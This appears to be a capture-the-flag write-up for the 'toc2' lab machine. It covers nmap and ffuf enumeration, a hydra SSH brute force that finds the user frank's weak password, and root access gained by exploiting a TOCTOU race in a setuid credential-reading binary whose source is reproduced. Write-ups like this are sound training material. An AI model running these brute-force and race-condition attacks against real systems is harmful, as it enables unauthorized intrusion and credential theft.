

toc2

Enumeration

Nmap Scan

SSH (22)

HTTP (80)

FFUF Fuzzing

Exploitation

Privilege Escalation

Enumeration

Nmap Scan

```
PORT      STATE SERVICE REASON      VERSION
22/tcp    open  ssh      syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 94:36:cd:82:d5:1f:f7:d9:ab:b2:b6:53:f0:d6:b3:02 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQDGMC4tL/zrXuRWGHiTtOzrcXI24pHiKcTPkb3y50kj9WIMwoc
|   256 ac:26:4a:01:0b:8c:fb:31:00:b5:cc:1a:28:d8:c7:49 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPx3hDJrEfni2Wzv
|   256 fa:e7:65:f6:05:77:93:03:13:52:ad:ca:e4:9a:28:d3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPXtxWb0sxMkFcZ9p9FfGKy5OKd3y3k5LFsSdurC5GJ1
80/tcp    open  http     syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Site Maintenance
| http-robots.txt: 1 disallowed entry
|_ /cmsms/cmsms-2.1.6-install.php
```

- Check if password authentication is enabled for SSH.
- Check the robots.txt file for the website.
- Search for sub-directories


SSH (22)

```
└─$ ssh root@toc2.thm
The authenticity of host 'toc2.thm (10.10.203.4)' can't be established.
ED25519 key fingerprint is SHA256:dGlxGbDUmTdhsengl5f36ncUdxXp735yT/Hqvkgw66s.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'toc2.thm' (ED25519) to the list of known hosts.
root@toc2.thm's password:
```

- Password authentication is enabled for SSH.


HTTP (80)

Web Page




Hard-coded credentials for the CMS.

robots.txt



FFUF Fuzzing

	[Status: 200, Size: 790, Words: 151, Lines: 22, Duration: 2911ms]
index.html	[Status: 200, Size: 790, Words: 151, Lines: 22, Duration: 426ms]
robots.txt	[Status: 200, Size: 174, Words: 25, Lines: 6, Duration: 423ms]
server-status	[Status: 403, Size: 273, Words: 20, Lines: 10, Duration: 459ms]



We know the version of CMS.


```
└─$ hydra -l frank -P /usr/share/wordlists/rockyou.txt ssh://toc2.thm
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
or secret service organizations, or for illegal purposes (this is non-binding,
these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-08 12:42:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended
to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399)
, ~896525 tries per task
[DATA] attacking ssh://toc2.thm:22/
[22][ssh] host: toc2.thm  login: frank  password: password
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-08 12:43:04
```

When trying to log in, I got this error

```
└─$ ssh frank@toc2.thm
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@  WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!  @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:FAk7HWxs5iFvwFd/ntUSATzVcL/YTZYdIEQ2F61cnb4.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ED25519 key in /home/kali/.ssh/known_hosts:84
  remove with:
  ssh-keygen -f '/home/kali/.ssh/known_hosts' -R 'toc2.thm'
Host key for toc2.thm has changed and you have requested strict checking.
Host key verification failed.
```

This could be resolved by running:

```
ssh-keygen -R toc2.thm
```

Privilege Escalation

```
frank@ip-10-10-31-18:~/root_access$ ls -l
total 20
-rwsr-xr-x 1 root root 8704 Jan 31  2021 readcreds
-rw-r--r-- 1 root root  656 Jan 31  2021 readcreds.c
-rw----- 1 root root   34 Aug 23  2020 root_password_backup
```

```

int main(int argc, char* argv[]) {
    int file_data; char buffer[256]; int size = 0;

    if(argc != 2) {
        printf("Binary to output the contents of credentials file \n ./readcreds [file] \n");
        exit(1);
    }

    if (!access(argv[1],R_OK)) {
        sleep(1);
        file_data = open(argv[1], O_RDONLY);
    } else {
        fprintf(stderr, "Cannot open %s \n", argv[1]);
        exit(1);
    }

    do {
        size = read(file_data, buffer, 256);
        write(1, buffer, size);
    }

    while(size>0);
}

```

It takes a file as input and checks if the user running the binary has the permission to read the file with the 'access' function. If yes, it prints the output; if no, it prints the error message.

This has a race condition vulnerability.

We are provided with a rename.c file in the hints. This C file will be copied to the target machine and then compiled. This binary will take two inputs, the first being the file we have access to and the second being the one we don't. It then swaps the files' names continuously, utilising the race condition.

```
frank@ip-10-10-31-18:~/root_access$ ./rename afke root_password_backup
```

In a separate terminal, I connected to Frank with SSH and ran the readcreds binary with root_password_backup.

```
frank@ip-10-10-31-18:~/root_access$ ./readcreds root_password_backup
Root Credentials: root:aloevera
```